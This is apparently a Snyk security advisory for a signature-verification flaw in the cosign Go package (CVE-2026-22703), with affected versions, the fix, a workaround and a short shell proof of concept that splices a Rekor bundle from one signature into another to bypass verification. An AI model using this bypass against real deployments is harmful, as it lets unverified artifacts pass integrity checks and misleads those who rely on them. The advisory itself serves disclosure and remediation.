Improper Verification of Cryptographic Signature Affecting github.com/sigstore/cosign/pkg/cosign package, versions >=2.0.0 <2.6.2>=3.0.0 <3.0.4
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMSIGSTORECOSIGNPKGCOSIGN-14912562
- published11 Jan 2026
- disclosed10 Jan 2026
- credit1seal
Introduced: 10 Jan 2026
CVE-2026-22703 (opens in a new tab)How to fix?
Upgrade github.com/sigstore/cosign/pkg/cosign to version 2.6.2, 3.0.4 or higher.
Overview
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the VerifyBundle function in the verify.go file. An attacker can bypass artifact integrity checks by crafting a bundle that includes any arbitrary Rekor entry, allowing successful verification of artifacts that are not actually associated with the referenced digest, signature, or public key.
Note:
This vulnerability affects only users who either provide a trusted root via --trusted-root or rely on one that is automatically fetched from a TUF repository, in cases where no trusted key material is supplied via SIGSTORE_REKOR_PUBLIC_KEY.
Workarounds
By manually enforcing trusted key material for the Rekor Transparency Log, you can mitigate bypass risks by ensuring the tool doesn’t depend solely on potentially mismatched or unverified bundle data.
PoC
echo blob > /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.1 --use-signing-config=false /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.2 --use-signing-config=false /tmp/blob
jq ".rekorBundle |= $(jq .rekorBundle /tmp/bundle.2)" /tmp/bundle.1 > /tmp/bundle.3
cosign verify-blob --bundle /tmp/bundle.3 --certificate-identity-regexp='.*' --certificate-oidc-issuer-regexp='.*' /tmp/blob